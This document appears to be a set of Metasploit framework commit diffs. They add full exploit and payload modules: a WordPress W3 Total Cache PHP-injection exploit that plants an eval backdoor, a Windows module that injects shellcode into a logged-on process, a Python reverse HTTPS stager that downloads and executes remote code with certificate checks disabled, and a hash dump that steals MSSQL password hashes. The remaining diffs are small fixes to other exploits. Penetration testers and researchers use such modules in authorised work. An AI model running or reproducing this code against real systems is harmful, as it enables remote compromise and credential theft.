'ctype' => 'multipart/form-data; boundary=' + post_data.bound,
'data' => n_data,
'headers' => {
'Referer' => "#{uri}/wp-content/themes/OptimizePress/lib/admin/media-upload.php"
},
'cookie' => cookie
})
unless res and res.code == 200
fail_with(Failure::Unknown, "#{peer} - Unable to upload payload")
end
print_good("#{peer} - Payload uploaded successfully. Disclosing the payload path...")
#get path to payload
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php')
})
unless res and res.code == 200
fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL")
end
payload_url = ""
if res.body =~ /name="cs_img" value="(.*#{filename}.*)" \/> <span/
payload_url =$1
else
fail_with(Failure::Unknown, "#{peer} - Unable to deliver the payload")
end
begin
u = URI(payload_url)
rescue ::URI::InvalidURIError
fail_with(Failure::Unknown, "#{peer} - Unable to deliver the payload, #{payload_url} isn't an URL'")
end
register_files_for_cleanup(File::basename(u.path))
print_good("#{peer} - Our payload is at: #{u.path}! Executing payload...")
send_request_cgi({
'method' => 'GET',
'uri' => u.path
})
end
end

View File

@ -0,0 +1,207 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class Metasploit3 < Msf::Exploit::Remote
include Msf::HTTP::Wordpress
include Msf::Exploit::Remote::HttpClient
Rank = ExcellentRanking
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress W3 Total Cache PHP Code Execution',
'Description' => %q{
This module exploits a PHP Code Injection vulnerability against WordPress plugin
W3 Total Cache for versions up to and including 0.9.2.8. WP Super Cache 1.2 or older
is also reported as vulnerable. The vulnerability is due to the handling of certain
macros such as mfunc, which allows arbitrary PHP code injection. A valid post ID is
needed in order to add the malicious comment. If the POSTID option isn't specified,
then the module will automatically find or bruteforce one. Also, if anonymous comments
aren't allowed, then a valid username and password must be provided. In addition,
the "A comment is held for moderation" option on WordPress must be unchecked for
successful exploitation. This module has been tested against WordPress 3.5 and
W3 Total Cache 0.9.2.3 on a Ubuntu 10.04 system.
},
'Author' =>
[
'Unknown', # Vulnerability discovery
'juan vazquez', # Metasploit module
'hdm', # Metasploit module
'Christian Mehlmauer' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-2010' ],
[ 'OSVDB', '92652' ],
[ 'BID', '59316' ],
[ 'URL', 'http://wordpress.org/support/topic/pwn3d' ],
[ 'URL', 'http://www.acunetix.com/blog/web-security-zone/wp-plugins-remote-code-execution/' ],
[ 'WPVDB', '6622' ]
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
{
'DisableNops' => true,
},
'Targets' => [ ['Wordpress 3.5', {}] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 17 2013'
))
register_options(
[
OptInt.new('POSTID', [ false, "The post ID where publish the comment" ]),
OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]),
OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ])
], self.class)
register_advanced_options(
[
OptInt.new('MIN_POST_ID', [ false, 'Specify the first post_id used for bruteforce', 1]),
OptInt.new('MAX_POST_ID', [ false, 'Specify the last post_id used for bruteforce', 1000])
])
end
def require_auth?
@user = datastore['USERNAME']
@password = datastore['PASSWORD']
if @user and @password and not @user.empty? and not @password.empty?
return true
else
return false
end
end
def post_comment(text)
php_payload = "#{text}<!--mfunc if(isset($_SERVER['HTTP_SUM'])) { if (sha1($_SERVER['HTTP_SUM']) == '#{@sum}' ) { eval(base64_decode($_SERVER['HTTP_CMD'])); } } --><!--/mfunc-->"
if @auth
uri = wordpress_post_comment_auth(php_payload, @post_id, @cookie)
else
author = rand_text_alpha(8)
author_email = "#{rand_text_alpha(3)}@#{rand_text_alpha(3)}.com"
author_url = rand_text_alpha(8)
uri = wordpress_post_comment_no_auth(php_payload,
@post_id,
author,
author_email,
author_url
)
@unauth_cookie = wordpress_get_unauth_comment_cookies(author, author_email, author_url)
end
uri
end
def exploit
unless wordpress_and_online?
fail_with(Failure::NoTarget, "#{target_uri} does not seeem to be Wordpress site")
end
@auth = require_auth?
if @auth
print_status("#{peer} - Trying to login...")
@cookie = wordpress_login(@user, @password)
if @cookie.nil?
fail_with(Failure::NoAccess, "#{peer} - Login wasn't successful")
end
print_status("#{peer} - login successful")
else
print_status("#{peer} - Trying unauthenticated exploitation...")
end
if datastore['POSTID'] and datastore['POSTID'] != 0
@post_id = datastore['POSTID']
print_status("#{peer} - Using the user supplied POST ID #{@post_id}...")
else
print_status("#{peer} - Trying to get posts from feed...")
all_posts = wordpress_get_all_blog_posts_via_feed
# First try all blog posts provided by feed
if all_posts
all_posts.each do |p|
vprint_status("#{peer} - Checking #{p}...")
enabled = wordpress_post_comments_enabled?(p, @cookie)
@post_id = get_post_id_from_body(enabled)
if @post_id
print_status("#{peer} - Found Post POST ID #{@post_id}...")
break
end
end
end
# if nothing found, bruteforce a post id
unless @post_id
print_status("#{peer} - Nothing found. Trying to brute force a valid POST ID...")
min_post_id = datastore['MIN_POST_ID']
max_post_id = datastore['MAX_POST_ID']
@post_id = wordpress_bruteforce_valid_post_id_with_comments_enabled(min_post_id, max_post_id, @cookie)
if @post_id.nil?
fail_with(Failure::BadConfig, "#{peer} - Unable to post without a valid POST ID where comment")
else
print_status("#{peer} - Using the brute forced POST ID #{@post_id}...")
end
end
end
random_test = rand_text_alpha(64)
@sum = Rex::Text.sha1(random_test)
print_status("#{peer} - Injecting the PHP Code in a comment...")
text = Rex::Text::rand_text_alpha(10)
post_uri = post_comment(text)
if post_uri.nil?
fail_with(Failure::Unknown, "#{peer} - Expected redirection not returned")
end
print_status("#{peer} - Executing the payload...")
options = {
'method' => 'GET',
'uri' => post_uri,
'headers' => {
'Cmd' => Rex::Text.encode_base64(payload.encoded),
'Sum' => random_test
}
}
options.merge!({'cookie' => @cookie}) if @auth
# Used to see anonymous, moderated comments
options.merge!({'cookie' => @unauth_cookie}) if @unauth_cookie
res = send_request_cgi(options)
if res and res.code == 301
fail_with(Failure::Unknown, "#{peer} - Unexpected redirection, maybe comments are moderated")
end
if res and !res.body.match(/#{Regexp.escape(text)}/)
fail_with(Failure::Unknown, "#{peer} - Comment not in post, maybe comments are moderated")
end
end
def check
res = wordpress_and_online?
unless res
vprint_error("#{peer} does not seeem to be Wordpress site")
return Exploit::CheckCode::Unknown
end
if res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ /W3 Total Cache\/([0-9\.]*)/
version = $1
if version <= "0.9.2.8"
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
if res.body and (res.body =~ /Performance optimized by W3 Total Cache/ or res.body =~ /Cached page generated by WP-Super-Cache/)
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end
end

View File

@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::CmdStager include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Tcp
include Msf::Exploit::EXE
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
@ -57,7 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
execute_cmdstager({ :temp => '.' }) execute_cmdstager({ :temp => '.' })
@payload_exe = payload_exe @payload_exe = generate_payload_exe
print_status("Attempting to execute the payload...") print_status("Attempting to execute the payload...")
execute_command(@payload_exe) execute_command(@payload_exe)

View File

@ -66,8 +66,12 @@ class Metasploit3 < Msf::Exploit::Remote
'BrowserRequirements' => 'BrowserRequirements' =>
{ {
:source => /script|headers/i, :source => /script|headers/i,
:clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}", :activex => [
:method => "LoadMovie", {
clsid: '{D27CDB6E-AE6D-11cf-96B8-444553540000}',
method: 'LoadMovie'
}
],
:os_name => OperatingSystems::Match::WINDOWS, :os_name => OperatingSystems::Match::WINDOWS,
:ua_name => Msf::HttpClients::IE, :ua_name => Msf::HttpClients::IE,
:flash => lambda { |ver| ver =~ /^11\./ } :flash => lambda { |ver| ver =~ /^11\./ }

View File

@ -51,8 +51,12 @@ class Metasploit3 < Msf::Exploit::Remote
'BrowserRequirements' => 'BrowserRequirements' =>
{ {
:source => /script|headers/i, :source => /script|headers/i,
:clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}", :activex => [
:method => "LoadMovie", {
clsid: '{D27CDB6E-AE6D-11cf-96B8-444553540000}',
method: 'LoadMovie'
}
],
:os_name => OperatingSystems::Match::WINDOWS, :os_name => OperatingSystems::Match::WINDOWS,
:ua_name => Msf::HttpClients::IE, :ua_name => Msf::HttpClients::IE,
:flash => lambda { |ver| ver =~ /^11\.[7|8|9]/ && ver < '11.9.900.170' } :flash => lambda { |ver| ver =~ /^11\.[7|8|9]/ && ver < '11.9.900.170' }

View File

@ -46,8 +46,12 @@ class Metasploit3 < Msf::Exploit::Remote
'BrowserRequirements' => 'BrowserRequirements' =>
{ {
:source => /script|headers/i, :source => /script|headers/i,
:clsid => "{#{CLASSID}}", :activex => [
:method => "LoadMovie", {
clsid: "{#{CLASSID}}",
method: "LoadMovie"
}
],
:os_name => OperatingSystems::Match::WINDOWS_7, :os_name => OperatingSystems::Match::WINDOWS_7,
:ua_name => Msf::HttpClients::IE, :ua_name => Msf::HttpClients::IE,
# Ohter versions are vulnerable but .235 is the one that works for me pretty well # Ohter versions are vulnerable but .235 is the one that works for me pretty well

View File

@ -55,8 +55,12 @@ class Metasploit3 < Msf::Exploit::Remote
'BrowserRequirements' => 'BrowserRequirements' =>
{ {
:source => /script|headers/i, :source => /script|headers/i,
:clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}", :activex => [
:method => "LoadMovie", {
clsid: "{D27CDB6E-AE6D-11cf-96B8-444553540000}",
method: "LoadMovie"
}
],
:os_name => OperatingSystems::Match::WINDOWS, :os_name => OperatingSystems::Match::WINDOWS,
:ua_name => Msf::HttpClients::IE, :ua_name => Msf::HttpClients::IE,
:flash => lambda { |ver| ver =~ /^11\.5/ && ver < '11.5.502.149' } :flash => lambda { |ver| ver =~ /^11\.5/ && ver < '11.5.502.149' }

View File

@ -43,8 +43,12 @@ class Metasploit3 < Msf::Exploit::Remote
:os_name => OperatingSystems::Match::WINDOWS, :os_name => OperatingSystems::Match::WINDOWS,
:ua_name => /MSIE/i, :ua_name => /MSIE/i,
:ua_ver => lambda { |ver| Gem::Version.new(ver) < Gem::Version.new('10') }, :ua_ver => lambda { |ver| Gem::Version.new(ver) < Gem::Version.new('10') },
:clsid => "{5CE92A27-9F6A-11D2-9D3D-000001155641}", :activex => [
:method => "GetColor" {
clsid: "{5CE92A27-9F6A-11D2-9D3D-000001155641}",
method: "GetColor"
}
]
}, },
'Payload' => 'Payload' =>
{ {

View File

@ -45,8 +45,12 @@ class Metasploit3 < Msf::Exploit::Remote
'BrowserRequirements' => 'BrowserRequirements' =>
{ {
:source => /script|headers/i, :source => /script|headers/i,
:clsid => "{09F68A41-2FBE-11D3-8C9D-0008C7D901B6}", :activex => [
:method => "ChooseFilePath", {
clsid: "{09F68A41-2FBE-11D3-8C9D-0008C7D901B6}",
method: "ChooseFilePath"
}
],
:os_name => OperatingSystems::Match::WINDOWS, :os_name => OperatingSystems::Match::WINDOWS,
}, },
'Targets' => 'Targets' =>

View File

@ -73,8 +73,12 @@ class Metasploit3 < Msf::Exploit::Remote
'BrowserRequirements' => 'BrowserRequirements' =>
{ {
:source => /script|headers/i, :source => /script|headers/i,
:clsid => "{19916E01-B44E-4E31-94A4-4696DF46157B}", :activex => [
:method => "requiredClaims", {
clsid: '{19916E01-B44E-4E31-94A4-4696DF46157B}',
method: 'requiredClaims'
}
],
:os_name => OperatingSystems::Match::WINDOWS_XP :os_name => OperatingSystems::Match::WINDOWS_XP
}, },
'Targets' => 'Targets' =>

View File

@ -277,10 +277,7 @@ end function
vbs_name = "#{Rex::Text.rand_text_alpha(rand(16)+4)}.vbs" vbs_name = "#{Rex::Text.rand_text_alpha(rand(16)+4)}.vbs"
gif_name = "#{Rex::Text.rand_text_alpha(rand(5)+3)}.gif" gif_name = "#{Rex::Text.rand_text_alpha(rand(5)+3)}.gif"
payload_src = (datastore['SSL'] ? 'https' : 'http') payload_src = "#{gif_name}"
payload_src << '://'
payload_src << (datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST'])
payload_src << ":#{datastore['SRVPORT']}#{get_module_resource}/#{gif_name}"
# I tried to use ADODB.Stream to save my downloaded executable, but I was hitting an issue # I tried to use ADODB.Stream to save my downloaded executable, but I was hitting an issue
# with it, so I ended up with Scripting.FileSystemObject. Not so bad I guess. # with it, so I ended up with Scripting.FileSystemObject. Not so bad I guess.

View File

@ -22,7 +22,7 @@ class Metasploit3 < Msf::Exploit::Remote
Code execution occurs by writing to the All Users Startup Programs directory. Code execution occurs by writing to the All Users Startup Programs directory.
You may want to combine this module with the use of multi/handler since a You may want to combine this module with the use of multi/handler since a
user would have to log for the payloda to execute. user would have to log for the payload to execute.
}, },
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Author' => [ 'jduck' ], 'Author' => [ 'jduck' ],

View File

@ -44,7 +44,12 @@ class Metasploit3 < Msf::Exploit::Remote
'BrowserRequirements' => 'BrowserRequirements' =>
{ {
:source => /script|headers/i, :source => /script|headers/i,
:clsid => "{4B3476C6-185A-4D19-BB09-718B565FA67B}", :activex => [
{
clsid: '{4B3476C6-185A-4D19-BB09-718B565FA67B}',
method: 'SetText'
}
],
:os_name => OperatingSystems::Match::WINDOWS, :os_name => OperatingSystems::Match::WINDOWS,
:ua_name => Msf::HttpClients::IE, :ua_name => Msf::HttpClients::IE,
:ua_ver => '10.0' :ua_ver => '10.0'

View File

@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote
super(update_info(info, super(update_info(info,
'Name' => 'Racer v0.5.3 Beta 5 Buffer Overflow', 'Name' => 'Racer v0.5.3 Beta 5 Buffer Overflow',
'Description' => %q{ 'Description' => %q{
This module explots the Racer Car and Racing Simulator game This module exploits the Racer Car and Racing Simulator game
versions v0.5.3 beta 5 and earlier. Both the client and server listen versions v0.5.3 beta 5 and earlier. Both the client and server listen
on UDP port 26000. By sending an overly long buffer we are able to on UDP port 26000. By sending an overly long buffer we are able to
execute arbitrary code remotely. execute arbitrary code remotely.

View File

@ -129,7 +129,7 @@ class Metasploit3 < Msf::Exploit::Remote
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first) command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
if command.length > 8000 if command.length > 8000
# Windows 2008 Command Prompt Max Length is 8191 # Windows 2008 Command Prompt Max Length is 8191
fail_with(Failure::BadConfig, "#{peer} - The selected paylod is too long to execute through powershell in one command") fail_with(Failure::BadConfig, "#{peer} - The selected payload is too long to execute through powershell in one command")
end end
print_status("#{peer} - Exploiting through Powershell...") print_status("#{peer} - Exploiting through Powershell...")
execute_command(command) execute_command(command)

View File

@ -232,7 +232,7 @@ class Metasploit3 < Msf::Exploit::Local
@addresses = disclose_addresses(my_target) @addresses = disclose_addresses(my_target)
if @addresses.nil? if @addresses.nil?
session.railgun.kernel32.CloseHandle(handle) session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Filed to disclose necessary addresses for exploitation. Aborting.") fail_with(Failure::Unknown, "Failed to disclose necessary addresses for exploitation. Aborting.")
else else
print_good("Addresses successfully disclosed.") print_good("Addresses successfully disclosed.")
end end

View File

@ -15,8 +15,8 @@ class Metasploit3 < Msf::Exploit::Local
super(update_info(info, super(update_info(info,
'Name' => 'Powershell Remoting Remote Command Execution', 'Name' => 'Powershell Remoting Remote Command Execution',
'Description' => %q{ 'Description' => %q{
Uses Powershell Remoting (TCP 47001) to inject payloads on target machines. This module uses Powershell Remoting (TCP 47001) to inject payloads on target machines.
If RHOSTS are specified it will try to resolve the IPs to hostnames, otherwise If RHOSTS are specified, it will try to resolve the IPs to hostnames, otherwise
use a HOSTFILE to supply a list of known hostnames. use a HOSTFILE to supply a list of known hostnames.
}, },
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,

View File

@ -0,0 +1,126 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Exploit::Local
include Msf::Post::Windows::Runas
include Msf::Post::Windows::Priv
def initialize(info = {})
super(update_info(info,
'Name' => "Windows Run Command As User",
'Description' => %q{
This module will login with the specified username/password and execute the
supplied command as a hidden process. Output is not returned by default.
Unless targetting a local user either set the DOMAIN, or specify a UPN user
format (e.g. user@domain). This uses the CreateProcessWithLogonW WinAPI function.
A custom command line can be sent instead of uploading an executable.
APPLICAITON_NAME and COMMAND_LINE are passed to lpApplicationName and lpCommandLine
respectively. See the MSDN documentation for how these two values interact.
},
'License' => MSF_LICENSE,
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Author' => ['Kx499', 'Ben Campbell'],
'Targets' => [
[ 'Automatic', { 'Arch' => [ ARCH_X86 ] } ]
],
'DefaultTarget' => 0,
'References' =>
[
[ 'URL', 'https://msdn.microsoft.com/en-us/library/windows/desktop/ms682431' ]
],
'DisclosureDate' => 'Jan 01 1999' # Not valid but required by msftidy
))
register_options(
[
OptString.new('DOMAIN', [false, 'Domain to login with' ]),
OptString.new('USER', [true, 'Username to login with' ]),
OptString.new('PASSWORD', [true, 'Password to login with' ]),
OptString.new('APPLICATION_NAME', [false, 'Application to be executed (lpApplicationName)', nil ]),
OptString.new('COMMAND_LINE', [false, 'Command line to execute (lpCommandLine)', nil ]),
OptBool.new('USE_CUSTOM_COMMAND', [true, 'Specify custom APPLICATION_NAME and COMMAND_LINE', false ])
], self.class)
end
def exploit
fail_with(Exploit::Failure::BadConfig, 'Must be a meterpreter session') unless session.type == 'meterpreter'
fail_with(Exploit::Failure::NoAccess, 'Cannot use this technique as SYSTEM') if is_system?
domain = datastore['DOMAIN']
user = datastore['USER']
password = datastore['PASSWORD']
if datastore['USE_CUSTOM_COMMAND']
application_name = datastore['APPLICATION_NAME']
command_line = datastore['COMMAND_LINE']
else
command_line = nil
windir = get_env('windir')
# Select path of executable to run depending the architecture
case sysinfo['Architecture']
when /x86/i
application_name = "#{windir}\\System32\\notepad.exe"
when /x64/i
application_name = "#{windir}\\SysWOW64\\notepad.exe"
end
end
pi = create_process_with_logon(domain,
user,
password,
application_name,
command_line)
return unless pi
begin
return if datastore['USE_CUSTOM_COMMAND']
vprint_status('Injecting payload into target process')
raw = payload.encoded
process_handle = pi[:process_handle]
virtual_alloc = session.railgun.kernel32.VirtualAllocEx(process_handle,
nil,
raw.length,
'MEM_COMMIT|MEM_RESERVE',
'PAGE_EXECUTE_READWRITE')
address = virtual_alloc['return']
fail_with(Exploit::Failure::Unknown, "Unable to allocate memory in target process: #{virtual_alloc['ErrorMessage']}") if address == 0
write_memory = session.railgun.kernel32.WriteProcessMemory(process_handle,
address,
raw,
raw.length,
4)
fail_with(Exploit::Failure::Unknown,
"Unable to write memory in target process @ 0x#{address.to_s(16)}: #{write_memory['ErrorMessage']}") unless write_memory['return']
create_remote_thread = session.railgun.kernel32.CreateRemoteThread(process_handle,
nil,
0,
address,
nil,
0,
4)
if create_remote_thread['return'] == 0
print_error("Unable to create remote thread in target process: #{create_remote_thread['ErrorMessage']}")
else
print_good("Started thread in target process")
end
ensure
session.railgun.kernel32.CloseHandle(pi[:process_handle])
session.railgun.kernel32.CloseHandle(pi[:thread_handle])
end
end
end

View File

@ -98,7 +98,7 @@ class Metasploit3 < Msf::Exploit::Remote
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {:remove_comspec => true, :encode_final_payload => true}) command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {:remove_comspec => true, :encode_final_payload => true})
if command.length > 8000 if command.length > 8000
# Windows 2008 Command Prompt Max Length is 8191 # Windows 2008 Command Prompt Max Length is 8191
fail_with(Failure::BadConfig, "#{peer} - The selected paylod is too long to execute through powershell in one command") fail_with(Failure::BadConfig, "#{peer} - The selected payload is too long to execute through powershell in one command")
end end
print_status("#{peer} - Exploiting through Powershell...") print_status("#{peer} - Exploiting through Powershell...")
exec_bar(datastore['CMDPATH'], command, "\x00") exec_bar(datastore['CMDPATH'], command, "\x00")

View File

@ -8,6 +8,7 @@ require 'msf/core/handler/reverse_https'
require 'msf/core/payload/windows/stageless_meterpreter' require 'msf/core/payload/windows/stageless_meterpreter'
require 'msf/base/sessions/meterpreter_x86_win' require 'msf/base/sessions/meterpreter_x86_win'
require 'msf/base/sessions/meterpreter_options' require 'msf/base/sessions/meterpreter_options'
require 'rex/parser/x509_certificate'
module Metasploit3 module Metasploit3
@ -15,6 +16,7 @@ module Metasploit3
include Msf::Payload::Windows::StagelessMeterpreter include Msf::Payload::Windows::StagelessMeterpreter
include Msf::Sessions::MeterpreterOptions include Msf::Sessions::MeterpreterOptions
include Msf::Payload::Windows::VerifySsl
def initialize(info = {}) def initialize(info = {})
@ -30,7 +32,7 @@ module Metasploit3
)) ))
register_options([ register_options([
OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]), OptString.new('EXTENSIONS', [false, "Comma-separated list of extensions to load"]),
], self.class) ], self.class)
end end
@ -54,9 +56,13 @@ module Metasploit3
# end # end
#end #end
Rex::Payloads::Meterpreter::Patch.patch_passive_service! dll, verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
datastore['HandlerSSLCert'])
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(dll,
:url => url, :url => url,
:ssl => true, :ssl => true,
:ssl_cert_hash => verify_cert_hash,
:expiration => datastore['SessionExpirationTimeout'].to_i, :expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i, :comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ua => datastore['MeterpreterUserAgent'], :ua => datastore['MeterpreterUserAgent'],
@ -64,8 +70,9 @@ module Metasploit3
:proxyport => datastore['PROXYPORT'], :proxyport => datastore['PROXYPORT'],
:proxy_type => datastore['PROXY_TYPE'], :proxy_type => datastore['PROXY_TYPE'],
:proxy_username => datastore['PROXY_USERNAME'], :proxy_username => datastore['PROXY_USERNAME'],
:proxy_password => datastore['PROXY_PASSWORD'] :proxy_password => datastore['PROXY_PASSWORD'])
end end
end end
end end

View File

@ -0,0 +1,126 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_https'
module Metasploit3
CachedSize = 742
include Msf::Payload::Stager
def initialize(info = {})
super(merge_info(info,
'Name' => 'Python Reverse HTTPS Stager',
'Description' => 'Tunnel communication over HTTP using SSL',
'Author' => 'Spencer McIntyre',
'License' => MSF_LICENSE,
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Handler' => Msf::Handler::ReverseHttps,
'Stager' => {'Payload' => ""}
))
register_options(
[
OptString.new('PayloadProxyHost', [false, "The proxy server's IP address"]),
OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ])
], self.class)
end
#
# Constructs the payload
#
def generate
lhost = datastore['LHOST'] || '127.127.127.127'
var_escape = lambda { |txt|
txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\'))
}
if Rex::Socket.is_ipv6?(lhost)
target_url = "https://[#{lhost}]"
else
target_url = "https://#{lhost}"
end
target_url << ':'
target_url << datastore['LPORT'].to_s
target_url << '/'
target_url << generate_callback_uri
proxy_host = datastore['PayloadProxyHost'].to_s
proxy_port = datastore['PayloadProxyPort'].to_i
if proxy_host == ''
urllib_fromlist = "['HTTPSHandler','build_opener']"
else
urllib_fromlist = "['HTTPSHandler','ProxyHandler','build_opener']"
end
cmd = "import sys\n"
cmd << "vi=sys.version_info\n"
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[vi[0]],fromlist=#{urllib_fromlist})\n"
cmd << "hs=[]\n"
# Context added to HTTPSHandler in 2.7.9 and 3.4.3
cmd << "if (vi[0]==2 and vi>=(2,7,9)) or vi>=(3,4,3):\n"
cmd << "\timport ssl\n"
cmd << "\tsc=ssl.SSLContext(ssl.PROTOCOL_SSLv23)\n"
cmd << "\tsc.check_hostname=False\n"
cmd << "\tsc.verify_mode=ssl.CERT_NONE\n"
cmd << "\ths.append(ul.HTTPSHandler(0,sc))\n"
if proxy_host != ''
proxy_url = Rex::Socket.is_ipv6?(proxy_host) ?
"http://[#{proxy_host}]:#{proxy_port}" :
"http://#{proxy_host}:#{proxy_port}"
cmd << "hs.append(ul.ProxyHandler({'https':'#{var_escape.call(proxy_url)}'}))\n"
end
cmd << "o=ul.build_opener(*hs)\n"
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n"
cmd << "exec(o.open('#{target_url}').read())\n"
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
b64_stub = "import base64,sys;exec(base64.b64decode("
b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
b64_stub << Rex::Text.encode_base64(cmd)
b64_stub << "')))"
return b64_stub
end
#
# Determine the maximum amount of space required for the features requested
#
def required_space
# Start with our cached default generated size
space = cached_size
# Add 100 bytes for the encoder to have some room
space += 100
# Make room for the maximum possible URL length
space += 256
# The final estimated size
space
end
#
# Return the longest URL that fits into our available space
#
def generate_callback_uri
uri_req_len = 30 + rand(256-30)
# Generate the short default URL if we don't have enough space
if self.available_space.nil? || required_space > self.available_space
uri_req_len = 5
end
generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITP, uri_req_len)
end
end

View File

@ -0,0 +1,180 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
require 'msf/core/auxiliary/report'
require 'msf/core/post/windows/mssql'
class Metasploit3 < Msf::Post
include Msf::Auxiliary::Report
include Msf::Post::Windows::MSSQL
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather Local SQL Server Hash Dump',
'Description' => %q{ This module extracts the usernames and password
hashes from a MSSQL server and stores them in the loot using the
same technique in mssql_local_auth_bypass (Credits: Scott Sutherland)
},
'License' => MSF_LICENSE,
'Author' => [ 'Mike Manzotti <mike.manzotti[at]dionach.com>'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'References' =>
[
['URL', 'https://www.dionach.com/blog/easily-grabbing-microsoft-sql-server-password-hashes']
]
))
register_options(
[
OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', nil])
], self.class)
end
def run
# Set instance name (if specified)
instance = datastore['INSTANCE'].to_s
# Display target
print_status("Running module against #{sysinfo['Computer']}")
# Identify available native SQL client
get_sql_client
fail_with(Exploit::Failure::Unknown, 'Unable to identify a SQL client') unless @sql_client
# Get LocalSystem privileges
system_status = get_system
fail_with(Exploit::Failure::Unknown, 'Unable to get SYSTEM') unless system_status
begin
service = check_for_sqlserver(instance)
fail_with(Exploit::Failure::Unknown, 'Unable to identify MSSQL Service') unless service
print_status("Identified service '#{service[:display]}', PID: #{service[:pid]}")
instance_name = service[:display].gsub('SQL Server (','').gsub(')','').lstrip.rstrip
begin
get_sql_hash(instance_name)
rescue RuntimeError
# Attempt to impersonate sql server service account (for sql server 2012)
if impersonate_sql_user(service)
get_sql_hash(instance_name)
end
end
ensure
# return to original priv context
session.sys.config.revert_to_self
end
end
def get_sql_version(instance_name)
vprint_status("Attempting to get version...")
query = mssql_sql_info
get_version_result = run_sql(query, instance_name)
# Parse Data
get_version_array = get_version_result.split("\n")
version_year = get_version_array.first.strip.slice(/\d\d\d\d/)
if version_year
vprint_status("MSSQL version found: #{version_year}")
return version_year
else
vprint_error("MSSQL version not found")
end
end
def get_sql_hash(instance_name)
version_year = get_sql_version(instance_name)
case version_year
when "2000"
hash_type = "mssql"
query = mssql_2k_password_hashes
when "2005", "2008"
hash_type = "mssql05"
query = mssql_2k5_password_hashes
when "2012", "2014"
hash_type = "mssql12"
query = mssql_2k5_password_hashes
else
fail_with(Exploit::Failure::Unknown, "Unable to determine MSSQL Version")
end
print_status("Attempting to get password hashes...")
get_hash_result = run_sql(query, instance_name)
if get_hash_result.include?('0x')
# Parse Data
hash_array = get_hash_result.split("\r\n").grep(/0x/)
store_hashes(hash_array, hash_type)
else
fail_with(Exploit::Failure::Unknown, "Unable to retrieve hashes")
end
end
def store_hashes(hash_array, hash_type)
# Save data
loot_hashes = ""
hash_array.each do |row|
user, hash = row.strip.split
service_data = {
address: rhost,
port: rport,
service_name: 'mssql',
protocol: 'tcp',
workspace_id: myworkspace_id
}
# Initialize Metasploit::Credential::Core object
credential_data = {
post_reference_name: refname,
origin_type: :session,
private_type: :nonreplayable_hash,
private_data: hash,
username: user,
session_id: session_db_id,
jtr_format: hash_type,
workspace_id: myworkspace_id
}
credential_data.merge!(service_data)
# Create the Metasploit::Credential::Core object
credential_core = create_credential(credential_data)
# Assemble the options hash for creating the Metasploit::Credential::Login object
login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
}
# Merge in the service data and create our Login
login_data.merge!(service_data)
create_credential_login(login_data)
print_line("#{user}:#{hash}")
loot_hashes << "#{user}:#{hash}\n"
end
unless loot_hashes.empty?
# Store MSSQL password hash as loot
loot_path = store_loot('mssql.hash', 'text/plain', session, loot_hashes, 'mssql_hashdump.txt', 'MSSQL Password Hash')
